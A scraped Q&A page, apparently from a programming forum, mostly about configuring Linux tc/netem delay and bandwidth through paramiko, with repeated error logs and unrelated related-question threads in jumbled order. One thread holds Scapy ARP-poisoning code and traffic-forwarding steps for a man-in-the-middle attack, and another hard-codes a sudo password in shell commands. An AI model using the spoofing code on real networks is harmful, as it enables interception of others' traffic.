When I added the delay command, paramiko returns back "2" as exit status(while it returns "0" for bandwidth command setting). Is 2 alright? (Googling didn't help with this, I am guessing 2 must be an error of some sort).
The command I use is:-
delay_cmd = "sudo tc qdisc add dev eth0 parent 1: handle 1: netem delay %dms" %(delay)
We were basically trying to follow this:
# tc qdisc add dev eth0 root netem delay 100ms
from an online tutorial.
The block of commands which should set the bw,filter and delay is this. (I am guessing I might be messing up with the parent/class ids). Can you see what I might be doing wrong?
cmd2 = "sudo tc class add dev %s parent 1: classid 1:1 htb rate %dmbps ceil %dmbps" % (interface, bandwidth, 2*bandwidth )
filter_cmd = "sudo tc filter add dev %s protocol ip parent 1:0 prio 1 u32 match ip dst %s/%d flowid 1:1" % (interface, ip, subnetmasklength)
delay_cmd = "sudo tc qdisc add dev eth0 parent 1:0 handle 1: netem delay %dms" %(delay)
This is the error I receive:
'RTNETLINK answers: File exists'
This is our script for setting the delay and bandwidth:
def exec_bw_config2(ssh, interface, bandwidth, ip, subnetmasklength, delay):
clear_bw_config2(ssh, interface)
# create a qdisc (queuing discipline), 12 is default class
cmd1 = "sudo tc qdisc add dev %s root handle 1: htb default 12" % interface
print cmd1
block_exec(ssh, cmd1)
# define the performance for default class
cmd2 = "sudo tc class add dev %s parent 1: classid 1:1 htb rate %dmbps ceil %dmbps" % (interface, bandwidth, 2*bandwidth )
print cmd2
block_exec(ssh, cmd2)
filter_cmd = "sudo tc filter add dev %s protocol ip parent 1:0 prio 1 u32 match ip dst %s/%d flowid 1:1" % (interface, ip, subnetmasklength)
print filter_cmd
block_exec(ssh, filter_cmd)
delay_cmd = "sudo tc qdisc add dev eth0 parent 1: handle 1: netem delay %dms" %(delay)
print delay_cmd
block_exec(ssh, delay_cmd)
So is anything wrong with delay_cmd above?
This is how we call it in our code:
def main():
myhosts = ["10.0.1.192", "10.0.1.191", "10.0.1.190"]
username="ubuntu"
port=22
#key = get_private_key()
for host in myhosts:
ssh = get_ssh(username, host, port)
clear_bw_config2(ssh, "eth0")
exec_bw_config2(ssh, "eth0", int(sys.argv[1]) , "10.0.1.0", 24, int(sys.argv[2]))
# iterate over hosts here
# for everyhost,
# 1. create ssh connection
# 2. run the exec_bw_config with params
return
On a further note what's the difference between parent 1: handle and parent 1:2 handle per se?
It's not a fatal error: 'File exists' is just saying that such emulation is already defined and 'Invalid argument' that such emulation is not known to kernel or already deleted.
Quick small sample:
# ~ $ sudo tc qdisc add dev eth0 root netem delay 0ms
# ~ $ sudo tc qdisc add dev eth0 root netem delay 0ms
RTNETLINK answers: File exists
# ~ $ sudo tc qdisc del dev eth0 root netem delay 0ms
# ~ $ sudo tc qdisc del dev eth0 root netem delay 0ms
RTNETLINK answers: Invalid argument
use:
sudo tc qdisc replace dev eth0 root netem delay 100ms
or:
sudo tc qdisc del dev eth0 root
sudo tc qdisc add dev eth0 root netem delay 100ms
Related
I have 2 files 1st one is original data and 2nd one is after some modification (eg - network/storage level). So I want to compare 1st file with new one and create a file with what new added / modified lines.
for eg:
file1 - original file
Route table:
Route table:
10.208.85.0/26 dev eth3 proto kernel scope link src 10.1.108.12
148.89.140.0/22 via 192.168.10.1 dev eth0
148.89.168.0/21 via 192.168.10.1 dev eth0
151.87.44.0/23 via 192.168.10.1 dev eth0
151.87.46.0/23 via 192.168.10.1 dev eth0
192.55.16.128/28 via 192.168.10.1 dev eth0
192.55.28.32/27 via 192.168.10.1 dev eth0
192.55.28.64/28 via 192.168.10.1 dev eth0
192.55.192.96/27 via 192.168.10.1 dev eth0
192.60.136.0/22 via 192.168.10.1 dev eth0
192.62.212.64/26 via 192.168.10.1 dev eth0
Disks:
Disk /dev/sda: 96 GiB, 103079215104 bytes, 201326592 sectors
/dev/sda1 * 2048 1060863 1058816 517M 83 Linux
/dev/sda2 1060864 201326591 200265728 95.5G 8e Linux LVM
file2 - Modified
Route table:
10.208.85.0/26 dev eth3 proto kernel scope link src 10.1.108.12
10.123.17.64/26 via 10.1.208.1 dev eth2
148.89.140.0/22 via 192.168.10.1 dev eth0
148.89.168.0/21 via 192.168.10.1 dev eth0
151.87.44.0/23 via 192.168.10.1 dev eth0
151.87.46.0/23 via 192.168.10.1 dev eth0
192.55.16.128/28 via 192.168.10.1 dev eth0
192.55.28.32/27 via 192.168.10.1 dev eth0
192.55.28.64/28 via 192.168.10.1 dev eth0
192.55.192.96/27 via 192.168.10.1 dev eth0
192.60.136.0/22 via 192.168.10.1 dev eth0
192.62.212.64/26 via 192.168.10.1 dev eth0
Disks:
Disk /dev/sda: 128 GiB, 137438953472 bytes, 201326592 sectors
/dev/sda1 * 2048 1060863 1058816 517M 83 Linux
/dev/sda2 1060864 201326591 200265728 95.5G 8e Linux LVM
I am looking an output something like (another file )
Added : 10.123.17.64/26 via 10.1.208.1 dev eth2
Modified : Disk /dev/sda: 128 GiB, 137438953472 bytes, 201326592 sectors
Please help
As starting point, you can use difflib:
from difflib import Differ
with (open('file1.txt') as file_1,
open('file2.txt') as file_2):
differ = Differ()
for line in differ.compare(file_1.readlines(), file_2.readlines()):
if line[0] in list('+-?'):
print(line.strip())
Output:
+ 10.123.17.64/26 via 10.1.208.1 dev eth2
- Disk /dev/sda: 96 GiB, 103079215104 bytes, 201326592 sectors
? ^^ - - -----
+ Disk /dev/sda: 128 GiB, 137438953472 bytes, 201326592 sectors
? ^^^ +++ ++++
In linux you can use diff to compare files line by line.
Let us consider the 2 example files provided in your question.
The Command:
diff /tmp/file1.txt /tmp/file2.txt
The Output:
2a3
> 10.123.17.64/26 via 10.1.208.1 dev eth2
15c16
< Disk /dev/sda: 96 GiB, 103079215104 bytes, 201326592 sectors
---
> Disk /dev/sda: 128 GiB, 137438953472 bytes, 201326592 sectors
The Command to generate the desired output:
diff /tmp/file1.txt /tmp/file2.txt | sed -e ':begin;$!N;s/---\n>/Modified: /;tbegin' -e 's/>/Added: /g' | egrep 'Added|Modified'
The Desired Output:
Added: 10.123.17.64/26 via 10.1.208.1 dev eth2
Modified: Disk /dev/sda: 128 GiB, 137438953472 bytes, 201326592 sectors
I am making a user application that we will deploy on machines. The end user will have little linux experience so I wanted in our GUI to give them an option to set the IP. It seems to take the IP but loses it over reboot. I am using netifaces to read the IP and system commands to set it. Inside python or the linux cmd line I am seeing the same result. After an change ifconfig shows the change. After a reboot it reverts back. Do I need to modify the eth config file?
import netifaces as ni
from os import system
def getIPs():
#Grab Current IP Address
eth0 = ni.ifaddresses('eth0')[2][0]['addr']
wlan0 = ni.ifaddresses('wlan0')[2][0]['addr']
return eth0, wlan0
def setEth0(ipAddress):
if ipAddress != "":
system('sudo ifconfig eth0 down')
system(f'sudo ifconfig eth0 {ipAddress}')
system('sudo ifconfig eth0 up')
def setWlan0(ipAddress):
if ipAddress != "":
system('sudo ifconfig wlan0 down')
system(f'sudo ifconfig wlan0 {ipAddress}')
system('sudo ifconfig wlan0 up')
I changed the process to actually modify the following file instead of sending the system commands.
/etc/network/interfaces.d/eth0
I wanted to make a "proxy" while ARP poisoning, it works with UDP and if I send a pkt to google I see it on my pc using wireshark
def trick(gate_mac, victim_mac):
'''Tricks the victim and the gate_way, using arp'''
my_mac=ARP()
my_mac=my_mac.hwsrc
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))
print "TRICKED"
that is the function i wrote to arp poison, now I want to send all the packets I get from the victim's pc to the router/
but I have no clue how to do packet forwarding.
You can simply activate your OS packet forwarding. If you're running Linux, a simple sysctl -w net.ipv4.ip_forward=1 should do that.
You may also need to let the packets pass your firewall;something like iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT should work (if you're using Linux, again).
Under other OSes, you need to find out how to enable packet forwarding and if needed add firewall rules. If you cannot enable packet forwarding, you can run another Scapy script to forward packets for you. Here is an example:
VICTIM_MAC = "00:01:23:45:67:89"
GATEWAY_MAC = "00:98:76:54:32:10"
_SRC_DST = {
GATEWAY_MAC: VICTIM_MAC,
VICTIM_MAC: GATEWAY_MAC,
}
def forward_pkt(pkt):
pkt[Ether].dst = _SRC_DST.get(pkt[Ether].src, GATEWAY_MAC)
sendp(dst)
sniff(
prn=forward_pkt,
filter="ip and (ether src %s or ether src %s)" % (VICTIM_MAC,
GATEWAY_MAC)
)
Here's the python code:
import os
import paramiko
import sys
def get_private_key():
# or choose the location and the private key file on your client
private_key_file = os.path.expanduser("/home/ubuntu/.ssh/id_rsa")
return paramiko.RSAKey.from_private_key_file(private_key_file, password='')
def get_ssh(myusername, myhostname, myport):
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#ssh.connect(myhostname, username=myusername, port=myport, pkey = private_key)
ssh.connect(myhostname, username=myusername, port=myport)
return ssh
def block_exec(ssh, command):
stdin, stdout, stderr = ssh.exec_command(command)
exit_status = stdout.channel.recv_exit_status()
print command, exit_status
print "stderr is %s" % stderr
return
def clear_bw_config2(ssh, interface):
block_exec(ssh, "sudo tc qdisc del dev %s root" % interface)
block_exec(ssh, "sudo tc qdisc del dev %s ingress" % interface)
block_exec(ssh, "sudo tc class del dev %s root" % interface)
block_exec(ssh, "sudo tc filter del dev %s root" % interface)
def exec_bw_config2(ssh, interface, bandwidth, ip, subnetmasklength, delay):
clear_bw_config2(ssh, interface)
# create a qdisc (queuing discipline), 12 is default class
cmd1 = "sudo tc qdisc add dev %s root handle 1: htb default 12" % interface
print cmd1
block_exec(ssh, cmd1)
# define the performance for default class
cmd2 = "sudo tc class add dev %s parent 1: classid 1:1 htb rate %dmbps ceil %dmbps" % (interface, bandwidth, 2*bandwidth )
print cmd2
block_exec(ssh, cmd2)
filter_cmd = "sudo tc filter add dev %s protocol ip parent 1:0 prio 1 u32 match ip dst %s/%d flowid 1:1" % (interface, ip, subnetmasklength)
print filter_cmd
block_exec(ssh, filter_cmd)
#delay_cmd = "sudo tc qdisc add dev eth0 parent 1: handle 1: netem delay %dms" %(delay)
delay_cmd="sudo tc qdisc add dev eth0 root netem %dms" %delay
print delay_cmd
block_exec(ssh, delay_cmd)
def main():
myhosts = ["10.0.1.192", "10.0.1.191", "10.0.1.190"]
username="ubuntu"
port=22
#key = get_private_key()
for host in myhosts:
ssh = get_ssh(username, host, port)
clear_bw_config2(ssh, "eth0")
del_cmd="sudo tc qdisc del dev eth0 root"
block_exec(ssh, del_cmd)
exec_bw_config2(ssh, "eth0", int(sys.argv[1]) , "10.0.1.0", 24, int(sys.argv[2]))
# iterate over hosts here
# for everyhost,
# 1. create ssh connection
# 2. run the exec_bw_config with params
return
if __name__ == '__main__':
main()
I am running the script like this:
python network_controller_vm.py 100 10
And here's the errors I receive:
sudo tc qdisc del dev eth0 root 2
RTNETLINK answers: No such file or directory
sudo tc qdisc del dev eth0 ingress 2
RTNETLINK answers: No such file or directory
sudo tc class del dev eth0 root 2
RTNETLINK answers: Invalid argument
sudo tc filter del dev eth0 root 2
RTNETLINK answers: No such file or directory
We have an error talking to the kernel
sudo tc qdisc del dev eth0 root 2
RTNETLINK answers: No such file or directory
sudo tc qdisc del dev eth0 root 2
RTNETLINK answers: No such file or directory
sudo tc qdisc del dev eth0 ingress 2
RTNETLINK answers: No such file or directory
sudo tc class del dev eth0 root 2
RTNETLINK answers: Invalid argument
sudo tc filter del dev eth0 root 2
RTNETLINK answers: No such file or directory
We have an error talking to the kernel
sudo tc qdisc add dev eth0 root handle 1: htb default 12
sudo tc qdisc add dev eth0 root handle 1: htb default 12 0
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbps ceil 200mbps
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbps ceil 200mbps 0
sudo tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip dst 10.0.1.0/24 flowid 1:1
sudo tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip dst 10.0.1.0/24 flowid 1:1 0
sudo tc qdisc add dev eth0 root netem 10ms
sudo tc qdisc add dev eth0 root netem 10ms 1
What is "10ms"?
Usage: ... netem [ limit PACKETS ]
[ delay TIME [ JITTER [CORRELATION]]]
[ distribution {uniform|normal|pareto|paretonormal} ]
[ corrupt PERCENT [CORRELATION]]
[ duplicate PERCENT [CORRELATION]]
[ loss random PERCENT [CORRELATION]]
[ loss state P13 [P31 [P32 [P23 P14]]]
[ loss gemodel PERCENT [R [1-H [1-K]]]
[ ecn ]
[ reorder PRECENT [CORRELATION] [ gap DISTANCE ]]
[ rate RATE [PACKETOVERHEAD] [CELLSIZE] [CELLOVERHEAD]]
sudo tc qdisc del dev eth0 root 2
RTNETLINK answers: No such file or directory
sudo tc qdisc del dev eth0 ingress 2
RTNETLINK answers: No such file or directory
sudo tc class del dev eth0 root 2
RTNETLINK answers: Invalid argument
sudo tc filter del dev eth0 root 2
RTNETLINK answers: No such file or directory
We have an error talking to the kernel
sudo tc qdisc del dev eth0 root 2
RTNETLINK answers: No such file or directory
sudo tc qdisc del dev eth0 root 2
RTNETLINK answers: No such file or directory
sudo tc qdisc del dev eth0 ingress 2
RTNETLINK answers: No such file or directory
sudo tc class del dev eth0 root 2
RTNETLINK answers: Invalid argument
sudo tc filter del dev eth0 root 2
RTNETLINK answers: No such file or directory
We have an error talking to the kernel
sudo tc qdisc add dev eth0 root handle 1: htb default 12
sudo tc qdisc add dev eth0 root handle 1: htb default 12 0
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbps ceil 200mbps
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbps ceil 200mbps 0
sudo tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip dst 10.0.1.0/24 flowid 1:1
sudo tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip dst 10.0.1.0/24 flowid 1:1 0
sudo tc qdisc add dev eth0 root netem 10ms
sudo tc qdisc add dev eth0 root netem 10ms 1
What is "10ms"?
Usage: ... netem [ limit PACKETS ]
[ delay TIME [ JITTER [CORRELATION]]]
[ distribution {uniform|normal|pareto|paretonormal} ]
[ corrupt PERCENT [CORRELATION]]
[ duplicate PERCENT [CORRELATION]]
[ loss random PERCENT [CORRELATION]]
[ loss state P13 [P31 [P32 [P23 P14]]]
[ loss gemodel PERCENT [R [1-H [1-K]]]
[ ecn ]
[ reorder PRECENT [CORRELATION] [ gap DISTANCE ]]
[ rate RATE [PACKETOVERHEAD] [CELLSIZE] [CELLOVERHEAD]]
sudo tc qdisc del dev eth0 root 2
RTNETLINK answers: No such file or directory
sudo tc qdisc del dev eth0 ingress 2
RTNETLINK answers: No such file or directory
sudo tc class del dev eth0 root 2
RTNETLINK answers: Invalid argument
sudo tc filter del dev eth0 root 2
RTNETLINK answers: No such file or directory
We have an error talking to the kernel
sudo tc qdisc del dev eth0 root 2
RTNETLINK answers: No such file or directory
sudo tc qdisc del dev eth0 root 2
RTNETLINK answers: No such file or directory
sudo tc qdisc del dev eth0 ingress 2
RTNETLINK answers: No such file or directory
sudo tc class del dev eth0 root 2
RTNETLINK answers: Invalid argument
sudo tc filter del dev eth0 root 2
RTNETLINK answers: No such file or directory
We have an error talking to the kernel
sudo tc qdisc add dev eth0 root handle 1: htb default 12
sudo tc qdisc add dev eth0 root handle 1: htb default 12 0
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbps ceil 200mbps
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbps ceil 200mbps 0
sudo tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip dst 10.0.1.0/24 flowid 1:1
sudo tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip dst 10.0.1.0/24 flowid 1:1 0
sudo tc qdisc add dev eth0 root netem 10ms
sudo tc qdisc add dev eth0 root netem 10ms 1
What is "10ms"?
Usage: ... netem [ limit PACKETS ]
[ delay TIME [ JITTER [CORRELATION]]]
[ distribution {uniform|normal|pareto|paretonormal} ]
[ corrupt PERCENT [CORRELATION]]
[ duplicate PERCENT [CORRELATION]]
[ loss random PERCENT [CORRELATION]]
[ loss state P13 [P31 [P32 [P23 P14]]]
[ loss gemodel PERCENT [R [1-H [1-K]]]
[ ecn ]
[ reorder PRECENT [CORRELATION] [ gap DISTANCE ]]
[ rate RATE [PACKETOVERHEAD] [CELLSIZE] [CELLOVERHEAD]]
I want to execute few linux commands using python
these are my commands.
modprobe ipv6
ip tunnel add he-ipv6 mode sit remote 216.218.221.6 local 117.211.75.3 ttl 255
ip link set he-ipv6 up
ip addr add 2001:470:18:f3::2/64 dev he-ipv6
ip route add ::/0 dev he-ipv6
ip -f inet6 addr
216.218.221.6
117.211.75.3
2001:470:18:f3::2/64
these ip's are the inputs from the user. Commands also need root privileges.
My Code upto now.
import os
print("Enter Server Ipv4 Address")
serverip4=input()
print("Enter Local Ipv4 Address")
localip4=input()
print("Enter Client Ipv6 Address")
clientip4=input()
Like this:
import sys
import os
os.system("ip tunnel add he-ipv6 mode sit remote %s local %s ttl 255" % (whicheveripvariableisfirst), (whicheveripvariableisnext)))
If you need it run at sudo level then put sudo in the command section or make sure to run the python script as sudo.
I guess, subprocess would be best choice in this scenario as you want to get all command results and use it.
You can refer this page for that: https://docs.python.org/2/library/subprocess.html
Here is the code:
import subprocess
#To use the sudo -> echo "password" | sudo <command>
ipv6_command_list = "echo 'password' | sudo 'ip tunnel add he-ipv6 mode sit remote 216.218.221.6 local 117.211.75.3 ttl 255'"
ip_link_list = "echo 'password' | sudo 'ip link set he-ipv6 up'"
ip_addr_list = "echo 'password' | sudo 'ip addr add 2001:470:18:f3::2/64 dev he-ipv6'"
ip_route_list = "echo 'password' |sudo 'ip route add ::/0 dev he-ipv6'"
ip_inet_list = "echo 'password' | sudo 'ip -f inet6 addr'"
for ip_command in [ip_link_list,ip_addr_list,ip_route_list,ip_inet_list]:
proc = subprocess.check_output(ip_command, shell=True)